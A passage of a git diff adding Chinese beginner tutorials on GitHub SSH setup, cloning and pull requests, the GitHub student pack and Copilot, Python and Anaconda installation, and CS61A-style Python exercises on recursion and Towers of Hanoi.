+打开 `id_rsa.pub`，复制里面的内容
+
+#### 【ssh 方法配置】绑定 Github
+
+登陆 `GitHub`，点击右上角自己的头像，打开 `settings`
+
+![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-12-32.png)
+
+然后打开左侧栏 `SSH and GPG keys` 页面
+
+![](https://cdn.xyxsw.site/boxcn1HbQct335qvZ71tGNu7jne.png)
+
+然后，点 `New SSH Key`，填上任意 Title，在 Key 文本框里粘贴 `id_rsa.pub` 文件的内容即可
+
+#### 【ssh 方法配置】创建仓库并和本地绑定
+
+绑定完 GitHub 然后你可以创建仓库了  
+
+首先在 GitHub 主页，找到 `New` 或者 `Create repository` 一个绿色的按钮，创建一个新的仓库
+
+![](https://cdn.xyxsw.site/boxcn5sVnE76FYpVW2RDxtWDiZc.png)
+
+然后填上这个仓库的大名就可以创建了
+
+![](https://cdn.xyxsw.site/boxcnsN133WrLrbxsX8JgvsQmif.png)
+
+根据之前学习的方法在本地创建完 git 仓库之后
+
+在 git bash 中输入：
+
+```bash
+git remote add origin git@github.com:yourname/gitexample.git
+# 请将yourname换成自己的id
+```
+
+就可以绑定
+
+或者是直接 git clone 下来
+
+```bash
+git clone git@github.com:yourname/gitexample.git
+```
+
+或者你可以跟随新创建之后的指引，`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个 README.md 的文件，然后和 github 仓库绑定。
+
+![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-19-18.png)
+
+### 下载代码——clone
+
+拷贝他人存档也未尝不可，而我们如果用他人存档时，次次都需要一样一样的拷贝文件和代码未免太过折磨，下面简单介绍如何使用
+
+```bash
+git clone <url>
+```
+
+接下去对着下面这个 GitHub 的代码使用一下
+
+首先，代码的 url 在下图所示的位置
+
+![](https://cdn.xyxsw.site/boxcnTiaT2EnNfKVkretPsyajVd.png)
+
+然后复制完代码后切换回我们的命令行
+
+```bash
+# powershell or cmd
+# 进入（cd）到想要存储该代码的地方（父文件夹目录）
+git clone https://github.com/camera-2018/git-example.git
+```
+
+> 这里使用的[例子](https://github.com/camera-2018/git-example)是我的仓库，当然你也可以用你自己的仓库。
+>
+> 如果你使用我的仓库的话，你 clone 过后在你自己电脑更改的文件等东西，是没法直接提交回来的（因为你没有我仓库管理权限）
+>
+> 如果你非要给我的仓库添加东西呢 也是可以，参照下面的 PR（Pull Request）教程
+
+一阵抽搐过后就下载好了
+
+![](https://cdn.xyxsw.site/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png)
+
+::: tip
+用完之后别忘记给 camera-2018 点个 follow 😋  `呃呃 follow 没用  star 有用`
+:::
+
+注意：失败就重试吧  还失败建议使用魔法（非国内网你懂得）
+
+### 提交和合并分支
+
+如图 我在仓库里新建了 `helloworld.c` 并且写了一些代码
+
+![](https://cdn.xyxsw.site/boxcnZpPsp4FP78auolzHvCKP0g.png)
+
+接下来是提交操作
+
+```bash
+git status  #看一下文件暂存区
+```
+
+![](https://cdn.xyxsw.site/boxcnm4R1ZN0WeUBuYht6zge7pd.png)
+
+红色表示文件没有提交到暂存区 我们要提交
+
+接下来
+
+```bash
+git add . #将没有提交的所有文件加入暂存区
+```
+
+![](https://cdn.xyxsw.site/boxcnYHd076RAqfDmHjbUkeNSvg.png)
+
+绿色表示所有文件已加入暂存
+
+```bash
+git commit -m "feat(helloworld): add helloworld file"
+```
+
+将刚才加入暂区的文件发起了一个提交，提交注释（commit message）是 `feat(helloworld): add helloworld file`
+
+![](https://cdn.xyxsw.site/boxcni2dupDzNO8qTWPAxS5c67b.png)
+
+1. 如果这是你自己的仓库有权限（本人仓库或 Collaborators 有权限的情况下）你就可以直接使用
+
+    ```bash
+    git push origin main  # origin 是第四步里 remote add 起的远程名字
+                        # main 是分支名
+    ```
+
+    上传本次提交
+
+    ![](https://cdn.xyxsw.site/boxcnNBu1EJnva4EkyQZAVlwGMe.png)
+
+2. 如果你没有本仓库的主分支提交权限 可以提交 PR（Pull Requests）
+
+    **第一种情况：这里假设我是协作者 无主分支权限，但有创建分支权限**
+
+    首先创建一个新分支 命名为 `yourname-dev`
+
+    ![](https://cdn.xyxsw.site/boxcnaS7aOzdt31vsZZx8R1s33e.png)
+
+    然后按照上面的方法 `git clone` 并切换到你刚创建的分支
+
+    ```bash
+    git switch camera-2018-dev
+    ```
+
+    然后提交一个文件，这里直接使用 vscode 自带的 git 工具试试（很方便、不用敲命令行）
+
+    ![](https://cdn.xyxsw.site/boxcnmwlYWOzwPbNqTAuSZK9dW3.png)
+
+    点暂存所有更改 写好 comment 之后点提交
+
+    ![](https://cdn.xyxsw.site/boxcnfcCnAdtdX2oyLIC3NibVnf.png)
+
+    最后点同步更改上传
+
+    ![](https://cdn.xyxsw.site/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png)
+
+    如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮
+
+    ![](https://cdn.xyxsw.site/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png)
+
+    ![](https://cdn.xyxsw.site/boxcnyt3eeZQyN8b1xM1WjDrTGe.png)
+
+    点它创建 PR
+
+    ![](https://cdn.xyxsw.site/boxcnJOjh1Zfp9tCd3llL9NsEzb.png)
+
+    这样管理本仓库的人看到 pr 请求就可以 merge 合并辣
+
+    ![](https://cdn.xyxsw.site/boxcnBMq0sw6c48jvjdPJwmAGtZ.png)
+
+    ![](https://cdn.xyxsw.site/boxcngNZOSnYUtCKH6pm8UaUMNd.png)
+
+    实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧
+
+    **第二种情况：我不是协作者、我什么权限也没有，我看了这个 public 项目后觉得很好但是有一些问题，我要给他贡献一些代码**
+
+    可以点击仓库右上角的 fork
+
+    ![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-34-21.png)
+
+    这样会在你的名下多出来一份这个同名仓库，而这个仓库你是拥有所有权限的，你可以 clone 你这个同名仓库，更改代码，提交代码之后
+
+    回到源仓库点击 Pull Request 然后创建 PR `New pull request`
+
+    最上面会提示你说
+
+    Comparing changes
+    Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also    **compare across forks** .
+
+    点击小蓝字 `compare across forks` 这会让你对比你 fork 仓库和源代码仓库的提交记录，之后就可以创建 PR 了，原作者看到了会合并。
+
+### 其他功能
+
+问题跟踪：GitHub 的问题跟踪功能可用于报告软件中的问题、错误和功能请求，并进行讨论、分配和解决。
+
+Wiki 页面：用户可以创建和编辑与存储库相关的 Wiki 页面，用于提供项目的文档、指南、示例代码等。
+
+Pull 请求（Pull Requests）：使用者可以将自己的代码变更提交给其他项目的所有者，并请求合并到主干代码中。
+
+项目管理：GitHub 提供项目管理功能，包括任务管理、里程碑（milestones）、项目板（project boards）等工具，可用于组织和跟踪项目的进展。
+
+部署功能：GitHub 可以与各种持续集成和部署（CI/CD）工具集成，帮助开发人员自动化构建、测试和部署他们的应用程序。
+
+统计信息：GitHub 提供有关存储库活动和贡献者的统计信息，例如提交图表、活动日历等，有助于跟踪和分析项目的发展。
+
+社交功能：用户可以关注其他用户、存储库和组织，接收他们的更新和活动通知，并与他们进行交流和讨论。
+
+代码审核（Code Review）：GitHub 的 Pull 请求功能允许团队成员对代码进行审查和讨论，以确保代码质量和最佳实践。
+
+集成和扩展：GitHub 支持与其他工具和服务的集成，例如持续集成（CI）工具、代码质量检查工具、项目管理工具等。
+
+页面托管：GitHub Pages 功能使您可以托管静态网站和文档，这在展示和共享项目文档、演示和博客等方面非常有用。
+
+然后还有一些比如说 Copilot 之类的有用的功能。
+
+[Copilot](https://github.com/features/copilot) 是 GitHub 推出的一款基于人工智能技术的代码辅助工具。它使用了机器学习模型 codex，并针对编写代码的场景进行了训练。
+
+Copilot 可以根据上下文和输入的提示，为开发人员生成代码建议和自动完成。它可以通过分析现有代码库、注释和上下文来生成代码片段，提高编码效率并减少重复劳动。
+
+## [Copilot](https://github.com/features/copilot) 白嫖教程
+
+你需要学生认证你的 Github 账号。
+
+地址在 [https://education.github.com/students](https://education.github.com/students) 点击 `Sign up for Global Campus` 来开始认证，下面会让你输入学校，绑定学校邮箱（杭电为 @hdu.edu.cn 结尾的邮箱）（如果你是杭电新生的话，可能要等到智慧杭电账号发放时才能注册杭电邮箱）并上传**学生证明**（从 21 年开始这个验证越来越严，如果不过的话你可以尝试 `学生证第一页`、`学生证第一页英文翻译（像有道翻译那样 P 图上去）`、`学信网学籍证明英文翻译（英文也是 P 上去）`）
+
+通过了的话你的账户会有 Pro 标识 然后你可以享受的 Github 学生包里包含[这些东西](https://education.github.com/pack)
+
+里面比较有用的有
+
+- JETBRAINS 全家桶的免费用（我没用，我用的是 jb 自己家的验证方式，不是 github）
+- name.com 家的一个一年期的免费域名（大概价值吧 六七十块钱？）
+- github 的容量扩容和 actions 时间扩容、Codespaces 时间延长、Pages 扩容（没啥用倒是）
+- Termius 学生包，这是我很喜欢用的终端软件，有学生包可以多端同步 ssh 的账号密码啥的，很方便。
+- Sentry 容量扩容
+- Copilot 免费用
+
+你可以在 `settings` 里看到你的 copilot，配置如下
+
+![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-59-49.png)
+
+然后就可以在你喜欢的 IDE 或编辑器上下载 Copilot 插件，来启用他。
+
+![](https://cdn.xyxsw.site/Snipaste_2023-07-16_18-02-19.png)
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md
new file mode 100644
index 0000000..886f0ce
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md
@@ -0,0 +1,49 @@
+# 从 CS61A 看编程语言学习
+
+## 什么是 CS61A
+
+首先声明，本教程的 python 部分很多内容摘自 CS61A
+
+如果你看过 CS 自学指南，想必你在第一页就看过这样的描述
+
+> 大一入学时我是一个对计算机一无所知的小白，装了几十个 G 的 Visual Studio 天天和 OJ 你死我活。凭着高中的数学底子我数学课学得还不错，但在专业课上对竞赛大佬只有仰望。提到编程我只会打开那笨重的 IDE，新建一个我也不知道具体是干啥的命令行项目，然后就是 `cin`, `cout`, `for` 循环，然后 CE, RE, WA 循环。当时的我就处在一种拼命想学好但不知道怎么学，课上认真听讲但题还不会做，课后做作业完全是用时间和它硬耗的痛苦状态。我至今电脑里还存着自己大一上学期计算概论大作业的源代码 —— 一个 1200 行的 C++ 文件，没有头文件、没有类、没有封装、没有 unit test、没有 Makefile、没有 Git，唯一的优点是它确实能跑，缺点是“能跑”的补集。我一度怀疑我是不是不适合学计算机，因为童年对于极客的所有想象，已经被我第一个学期的体验彻底粉碎了。<br/>这一切的转机发生在我大一的寒假，我心血来潮想学习 Python。无意间看到知乎有人推荐了 CS61A 这门课，说是 UC Berkeley 的大一入门课程，讲的就是 Python。我永远不会忘记那一天，打开 [CS61A](https://cs61a.org/) 课程网站的那个瞬间，就像哥伦布发现了新大陆一样，我开启了新世界的大门。<br/>我一口气 3 个星期上完了这门课，它让我第一次感觉到原来 CS 可以学得如此充实而有趣，原来这世上竟有如此精华的课程。<br/>为避免有崇洋媚外之嫌，我单纯从一个学生的视角来讲讲自学 CS61A 的体验：<br/>- 独立搭建的课程网站：一个网站将所有课程资源整合一体，条理分明的课程 schedule、所有 slides, hw, discussion 的文件链接、详细明确的课程给分说明、历年的考试题与答案。这样一个网站抛开美观程度不谈，既方便学生，也让资源公正透明。<br/>- 课程教授亲自编写的教材：CS61A 这门课的开课老师将 MIT 的经典教材 Structure and Interpretation of Computer Programs (SICP) 用 Python 这门语言进行改编（原教材基于 Scheme 语言），保证了课堂内容与教材内容的一致性，同时补充了更多细节，可以说诚意满满。而且全书开源，可以直接线上阅读。<br/>- 丰富到让人眼花缭乱的课程作业：14 个 lab 巩固随堂知识点，10 个 homework，还有 4 个代码量均上千行的 project。与大家熟悉的 OJ 和 Word 文档式的作业不同，所有作业均有完善的代码框架，保姆级的作业说明。每个 Project 都有详尽的 handout 文档、全自动的评分脚本。CS61A 甚至专门开发了一个[自动化的作业提交评分系统](https://okpy.org/)（据说还发了论文）。当然，有人会说“一个 project 几千行代码大部分都是助教帮你写好的，你还能学到啥？”。此言差矣，作为一个刚刚接触计算机，连安装 Python 都磕磕绊绊的小白来说，这样完善的代码框架既可以让你专注于巩固课堂上学习到的核心知识点，又能有“我才学了一个月就能做一个小游戏了！”的成就感，还能有机会阅读学习别人高质量的代码，从而为自己所用。我觉得在低年级，这种代码框架可以说百利而无一害。唯一的害也许是苦了老师和助教，因为开发这样的作业可想而知需要相当的时间投入。<br/>- 每周 Discussion 讨论课，助教会讲解知识难点和考试例题：类似于北京大学 ICS 的小班研讨，但习题全部用 LaTeX 撰写，相当规范且会明确给出 solution。<br/>这样的课程，你完全不需要任何计算机的基础，你只需要努力、认真、花时间就够了。此前那种有劲没处使的感觉，那种付出再多时间却得不到回报的感觉，从此烟消云散。这太适合我了，我从此爱上了自学。<br/>试想如果有人能把艰深的知识点嚼碎嚼烂，用生动直白的方式呈现给你，还有那么多听起来就很 fancy，种类繁多的 project 来巩固你的理论知识，你会觉得他们真的是在倾尽全力想方设法地让你完全掌握这门课，你会觉得不学好它简直是对这些课程建设者的侮辱。<br/>如果你觉得我在夸大其词，那么不妨从 [CS61A](https://cs61a.org/) 开始，因为它是我的梦开始的地方。
+
+如果看完了这些，你可能会震惊，会怀疑并且试着打开它并且去尝试这门课程，但是也有可能你会被纯英文的视频或者油管劝退，也有可能你会怀疑我在使用别人的课程体系的前提下仍然要把它放到自己的内容里面的目的，That's all right，我会在下面对她讲的东西进行一定的补充，并且附着上自己的学习建议以及学习思考。
+
+## 错误的学习方式
+
+很多人看到要自学 python 之后，第一时间想到的是，我要去 B 站/百度搜一搜，然后一般搜出来就是菜鸟教程，然后就是一连串枯燥乏味的知识堆叠，或者说是培训班的网课，给我们一种知识好像就是这么枯燥乏味以及自己好像学到了很多但是真的用起来却一无所知痛苦万分的感觉。
+
+我觉得在这个时候大伙可以思考的是，是否我们停留在舒适区的学习方法是错误的呢？
+
+当然这个时候会出现勇敢的人，尝试这个推荐，但是根据我目前的发现来说，杭电百分之九十五的学生学习一两章之后就荒废了。
+
+课好吗？
+
+是很好。
+
+但是为什么坚持不下来呢？
+
+根据我的统计，原因无外乎是以下几点：英语太难太劝退了！课程设置太难，好像听懂了但是写起东西来却还是推行不下去！我不知道学了这个能干什么，所以没有动力！学了一两章虽然好像学到了东西，但是感觉有很多东西学了却记不住，导致难度曲线陡增了！<del>游戏太好玩了！</del>
+
+舒适区看起来很难打破！
+
+## 正确的思考方式
+
+面对英语，我们前文有过一而再再而三的提醒过使用正确的工具，但是不得不说的是，在翻译的过程中可能难免丢失了一定的信息，使得我们在困惑中可能变得没有了前进的动力，或者从另一个角度来说我们没有动力是因为没有足够的原因来告诉我们的意识，我们到底应该在做这个超过看菜鸟教程所需精力好多倍的工作，到底能得到除了一点新奇感以外的什么东西，以此来给我们更为充分的理由支撑自己学习完成。
+
+## 建立正确的认知论
+
+编程思想本身远比学习某一门编程语言的具体内容更为重要，我们很多的同学在进行这方面内容的时候总是只想着记忆某一门语言的某些内容，然后学的非常的痛苦。
+
+但不得不提到的是，你学到的语言，技术框架等等在信息化发展如此迅速的现在，可能随时都会过时，诸如早些年间的 B 语言，PHP 等等，到现在都是很少有些人在用的东西了，如果你只扣着一些编程的具体语法，那你学的东西很有可能在某一天就扔进了历史的垃圾堆。
+
+但是编程语言的设计思想一般不会出现太大的波动，并且就算是发展也有其适配的场景和知识脉络的，如果你乐于去发掘这个知识脉络和思想，那么你就可以优雅的掌握一种思维方式而不是简单的拧螺丝一样的机械化工作。而好的思考方式往往是可以应用在同类的所有语言甚至是在所有的更多的
+
+## 更有趣的练习方式
+
+我不得不承认的一点是，越痛苦的练习往往可以让你获得更大的提升模拟的成长往往与你面对苦难以及解决他的时间是成正比的。
+
+不过遗憾的是，我们大多数的同学是在面对跳起来都够不到的反馈的时候，会选择放弃。（除非你有 M 的倾向）
+
+因此，有时候我们说大道至简。好的东西往往是能让人们快速理解的东西，我觉得 61A 的难度梯度设计，就是兼具了趣味性和间接性的，并且全面优于互联网上的非常多的教程，比硬啃要给我们更多的正反馈（当然，改变思维和学习方式是很重要的。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置.md
new file mode 100644
index 0000000..2843b85
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置.md
@@ -0,0 +1,45 @@
+# 环境配置
+
+当你开始制作大型项目或者复现论文时，环境配置就开始变得至关重要。
+
+## 什么是环境？
+
+环境是**包的集合**，我们一般用 Anaconda 来配置虚拟环境。
+
+[戳这里安装](https://www.anaconda.com/)
+
+装下来之后具体操作可以看[安装教程](https://blog.csdn.net/in546/article/details/117400839)，如果自动配置环境变量的选项是灰色的话，请按照下面的教程把下面的几个文件路径加入环境变量。
+
+![](https://cdn.xyxsw.site/boxcn3PLPIvKSSvYiCnwx50FYvf.png)
+
+![](https://cdn.xyxsw.site/boxcnvTQPcmPpUonmDZFZXNnGWd.png)
+
+![](https://cdn.xyxsw.site/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png)
+
+在里面添加并写入文件路径加入就好了~
+
+![](https://cdn.xyxsw.site/boxcnnsuoHmhK4dBCLHlKhpRWIe.png)
+
+然后打开 Pycharm，创建新项目，设置按照以下方式操作，记得挂梯子。
+
+如果不挂梯子，请按照教程配置清华源。[我是教程](https://blog.csdn.net/jasneik/article/details/114227716)
+
+![](https://cdn.xyxsw.site/boxcnTfvjYweuIZFKlcH78X38Pd.png)
+
+然后一个新的环境就创建好辣~
+
+## 如何配置环境
+
+### 1.配置你自己的环境
+
+你可以尝试命令 `pip install <包的名字>` 或者 `conda install <包的名字>`
+
+> 在下载某个包失败的时候可以查一查有没有人写相关攻略~
+
+你可以用 `conda list` 查看你这个环境已有的包。你也可以在包的名字后面加上 `==版本号` 来指定版本。
+
+> 请注意各个包之间的依赖关系，否则容易导致无法运行或效果变差！
+
+### 2.复现论文代码时配置环境
+
+> 一般我们可以在 Github 的 README 中找到环境的配置方法，遇到难以下载的特殊版本包时可以考虑下载它的源码手动编译，具体流程不展开了，可以自行搜索
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python.md
new file mode 100644
index 0000000..bcf6551
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python.md
@@ -0,0 +1,61 @@
+# 安装 python
+
+::: warning 😍 教程
+
+[Python 小白必看，非常生动的 Pycharm 与 Anaconda 安装教学，干货！_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1Bp4y117UW)
+
+<Bilibili bvid='BV1Bp4y117UW'/>
+
+[Win10 下 Conda-Pycharm-Pytorch 的安装_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15U4y1J7Ss)
+
+<Bilibili bvid='BV15U4y1J7Ss'/>
+:::
+
+## 巧妇难为无米之炊
+
+你可以在终端上用 Python 解释器
+
+也可以尝试使用 VSC，Pycharm 等集成开发环境
+
+同样我们也推荐你使用 Jupyter Notebook
+
+我们推荐你都进行一波尝试，同样这也会作为一个任务
+
+::: warning <font size=5>😐 解释器</font>
+
+<font size=5><strong>Windows 用户</strong></font>
+
+打开 [Python 官方网站](https://www.python.org/)，找到“Download”里的“Latest: Python 3.x.y”。
+
+**下载完成后，请大家按照下图的示意，务必勾选“Add Python 3.x to PATH”，然后再点击“Install Now”，等待安装完成后关闭安装程序。**
+
+**注意：windows11 安装好后 命令行输入 python 可能会跳到 Microsoft 应用商店 可在 customize installation（自定义安装）next  勾选 install for all users**
+
+<font size=5>**GNU/Linux 系统**</font>
+
+在终端输入 `sudo apt install python3` 即可完成 Python3 的全部安装流程
+
+可以输入 `python3 --version` 检验是否成功。
+:::
+![](https://cdn.xyxsw.site/boxcn95LbcwuMC2dIViOxWk8BFb.png)
+
+::: warning 🤔 Jupyter Notebook
+
+[官方网站](https://jupyter.org/) Jupyter Notebook 是基于网页的用于交互计算的应用程序。其可被应用于全过程计算：开发、文档编写、运行代码和展示结果。——[Jupyter](https://jupyter-notebook.readthedocs.io/en/stable/notebook.html)
+
+你在一个框框中直接输入代码，运行，它立马就在下面给你输出。怎么样，是不是很酷？
+
+[Notebook 官方介绍](https://jupyter-notebook.readthedocs.io/en/stable/notebook.html)
+
+可能需要你安装 anaconda，如果你不知道这是什么，请去阅读这篇文章并进行相关配置 [Anaconda](https://zhuanlan.zhihu.com/p/32925500)（STFW）
+
+安装完 jupyer 后，可以在终端直接输入
+
+jupyter notebook
+
+进行使用
+:::
+
+![](https://cdn.xyxsw.site/boxcnfwk8gnFAHu5JzVUiugJjQe.png)
+
+[Pycharm](https://www.jetbrains.com/zh-cn/pycharm/)：可能很多同学已经用上了，我在这里不做更多解释
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零：Python解释器.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零：Python解释器.md
new file mode 100644
index 0000000..117ef0b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零：Python解释器.md
@@ -0,0 +1,61 @@
+# 阶段零：Python 解释器
+
+::: warning 😍 可参考资料
+
+[官方文档](https://wiki.python.org/moin/BeginnersGuide)
+
+[菜鸟教程](https://www.runoob.com/python3/python3-interpreter.html)
+:::
+
+你可以在终端与解释器进行交互
+
+在终端中输入 python 即可进入解释器
+
+解释器可以进行简单的表达式和语句操作
+
+你可以自己把玩一下
+
+```python
+>>> 1 + 2
+3
+```
+
+```python
+>>> 3 - 2
+1
+```
+
+```python
+>>> 5 * 6
+30
+```
+
+```python
+>>> 7 / 4
+1.75
+```
+
+```python
+>>> 7 // 4
+1
+```
+
+```python
+>>> 7 % 4
+3
+```
+
+```python
+>>> 4 ** 3
+64
+```
+
+同时可以输入 `exit``()` 或按 Ctrl+D 退出交互
+
+:::: warning 🤔 同学们可能已经发现 python 这门编程语言的神奇之处了
+
+在这里留一个思考题
+
+为什么 python 可以做出不需要任何语句的神奇操作呢？
+
+别的语言可以这样吗？
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一：熟悉语句.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一：熟悉语句.md
new file mode 100644
index 0000000..b30ce7c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一：熟悉语句.md
@@ -0,0 +1,74 @@
+# 阶段一：熟悉语句
+
+::: warning 🐱 在进行本章之前，请你谨记一个原则：基本所有的功能都被人提前实现好了
+
+你需要关心的仅仅是逻辑该如何设立
+
+在做本章任务前，请熟悉 python 的函数，循环和判断语句即可
+:::
+
+P1：请仅使用一行语句求出三个数的最小平方和
+
+```python
+def two_of_three(x, y, z):
+    """Return a*a + b*b, where a and b are the two smallest members of the
+    positive numbers x, y, and z.
+
+    >>> two_of_three(1, 2, 3)
+    5
+    >>> two_of_three(5, 3, 1)
+    10
+    >>> two_of_three(10, 2, 8)
+    68
+    >>> two_of_three(5, 5, 5)
+    50
+    >>> # check that your code consists of nothing but an expression (this docstring)
+    >>> # and a return statement
+    >>> import inspect, ast
+    >>> [type(x).__name__ for x in ast.parse(inspect.getsource(two_of_three)).body[0].body]
+    ['Expr', 'Return']
+    """
+    return _____
+```
+
+提示：可以使用 `min()` 函数哦
+
+P2：下降阶乘
+
+```python
+def falling(n, k):
+    """Compute the falling factorial of n to depth k.
+
+    >>> falling(6, 3)  # 6 * 5 * 4
+    120
+    >>> falling(4, 3)  # 4 * 3 * 2
+    24
+    >>> falling(4, 1)  # 4
+    4
+    >>> falling(4, 0)
+    1
+    """
+    "*** YOUR CODE HERE ***"
+```
+
+P3：判断一个函数是否有两个或者两个连续的 8
+
+```python
+def double_eights(n):
+    """Return true if n has two eights in a row.
+    
+    >>> double_eights(8)
+    False
+    >>> double_eights(88)
+    True
+    >>> double_eights(2882)
+    True
+    >>> double_eights(880088)
+    True
+    >>> double_eights(12345)
+    False
+    >>> double_eights(80808080)
+    False
+    """
+    "*** YOUR CODE HERE ***"
+```
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二：递归操作.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二：递归操作.md
new file mode 100644
index 0000000..59f856e
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二：递归操作.md
@@ -0,0 +1,143 @@
+# 阶段二：递归操作
+
+什么是递归呢？
+
+![](https://cdn.xyxsw.site/boxcnCNpeAE9Hy61cyvtxfioIHg.png)
+
+## 释义
+
+递归是在函数主体中重复调用函数的基本方案
+
+让我们来看一个经典的例子
+
+> 阶乘，即 n! =n \* (n - 1) \*...... \* 2 \* 1<br/>例如：5! = 5 \* 4 \* 3 \* 2 \* 1 = 120.
+
+而阶乘的代码如下编辑
+
+```python
+def factorial(n):
+    if n == 0:
+        return 1
+    return n * factorial(n - 1)
+```
+
+编写递归函数的一些小 tips：
+
+- 你必须假设之前的所有功能都是正确的，这种被称为：the recursive leap of faith
+- 想想在最简单的情况下函数将如何跳转
+- 考虑使用问题的更简单版本来进行解决问题
+
+## 任务
+
+P4：编写一个递归函数 `skip_add`，它接受一个参数 n 并返回 `n + n-2 + n-4 + n-6 +...+ 0`。假设 n 是非负数。
+
+```python
+def skip_add(n):
+    """ Takes a number n and returns n + n-2 + n-4 + n-6 + ... + 0.
+
+    >>> skip_add(5)  # 5 + 3 + 1 + 0
+    9
+    >>> skip_add(10) # 10 + 8 + 6 + 4 + 2 + 0
+    30
+    
+    """
+    "*** YOUR CODE HERE ***"
+```
+
+P5：GCD，给出两个正整数，求出两个正整数的最大公约数
+
+Euclid, a Greek mathematician in 300 B.C., realized that the greatest common divisor of `a` and `b` is one of the following:
+
+- the smaller value if it evenly divides the larger value, or
+- the greatest common divisor of the smaller value and the remainder of the larger value divided by the smaller value.
+
+提示：gcd(a, b) = gcd(b, a % b)
+
+```python
+def gcd(a, b):
+    """Returns the greatest common divisor of a and b.
+    Should be implemented using recursion.
+
+    >>> gcd(34, 19)
+    1
+    >>> gcd(39, 91)
+    13
+    >>> gcd(20, 30)
+    10
+    >>> gcd(40, 40)
+    40
+    """
+    "*** YOUR CODE HERE ***"7
+```
+
+P6：汉诺塔问题（选做）
+
+汉诺塔：汉诺塔（又称河内塔）问题是源于印度一个古老传说的益智玩具。大梵天创造世界的时候做了三根金刚石柱子，在一根柱子上从下往上按照大小顺序摞着 64 片黄金圆盘。大梵天命令婆罗门把圆盘从下面开始按大小顺序重新摆放在另一根柱子上。并且规定，在小圆盘上不能放大圆盘，在三根柱子之间一次只能移动一个圆盘。
+
+汉诺塔有递归和非递归两种方法，你最好选择递归的方法进行书写
+
+```python
+def print_move(origin, destination):
+    """Print instructions to move a disk."""
+    print("Move the top disk from rod", origin, "to rod", destination)
+
+def move_stack(n, start, end):
+    """Print the moves required to move n disks on the start pole to the end
+    pole without violating the rules of Towers of Hanoi.
+
+    n -- number of disks
+    start -- a pole position, either 1, 2, or 3
+    end -- a pole position, either 1, 2, or 3
+
+    There are exactly three poles, and start and end must be different. Assume
+    that the start pole has at least n disks of increasing size, and the end
+    pole is either empty or has a top disk larger than the top n start disks.
+
+    >>> move_stack(1, 1, 3)
+    Move the top disk from rod 1 to rod 3
+    >>> move_stack(2, 1, 3)
+    Move the top disk from rod 1 to rod 2
+    Move the top disk from rod 1 to rod 3
+    Move the top disk from rod 2 to rod 3
+    >>> move_stack(3, 1, 3)
+    Move the top disk from rod 1 to rod 3
+    Move the top disk from rod 1 to rod 2
+    Move the top disk from rod 3 to rod 2
+    Move the top disk from rod 1 to rod 3
+    Move the top disk from rod 2 to rod 1
+    Move the top disk from rod 2 to rod 3
+    Move the top disk from rod 1 to rod 3
+    """
+    assert 1 <= start <= 3 and 1 <= end <= 3 and start != end, "Bad start/end"
+    "*** YOUR CODE HERE ***"
+```
+
+ZZM 在这里恶意提升亿下难度，你能不能尝试理解下面这个用 C 语言写的汉诺塔呢
+
+当然，是非递归！
+
+```c
+typedef struct {
+  int pc, n;
+  char from, to, via;
+} Frame;
+
+#define call(...) ({ *(++top) = (Frame) { .pc = 0, __VA_ARGS__ }; })
+#define ret()     ({ top--; })
+#define goto(loc) ({ f->pc = (loc) - 1; })
+
+void hanoi(int n, char from, char to, char via) {
+  Frame stk[64], *top = stk - 1;
+  call(n, from, to, via);
+  for (Frame *f; (f = top) >= stk; f->pc++) {
+    switch (f->pc) {
+      case 0: if (f->n == 1) { printf("%c -> %c\n", f->from, f->to); goto(4); } break;
+      case 1: call(f->n - 1, f->from, f->via, f->to);   break;
+      case 2: call(       1, f->from, f->to,  f->via);  break;
+      case 3: call(f->n - 1, f->via,  f->to,  f->from); break;
+      case 4: ret();                                    break;
+      default: assert(0);
+    }
+  }
+}
+```
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三：数据抽象.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三：数据抽象.md
new file mode 100644
index 0000000..9e0fc16
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三：数据抽象.md
@@ -0,0 +1,316 @@
+# 阶段三：数据抽象
+
+数据抽象 (Data Abstraction)
+
+::: warning 🐱 [可参考教程](https://zhuanlan.zhihu.com/p/343133774)
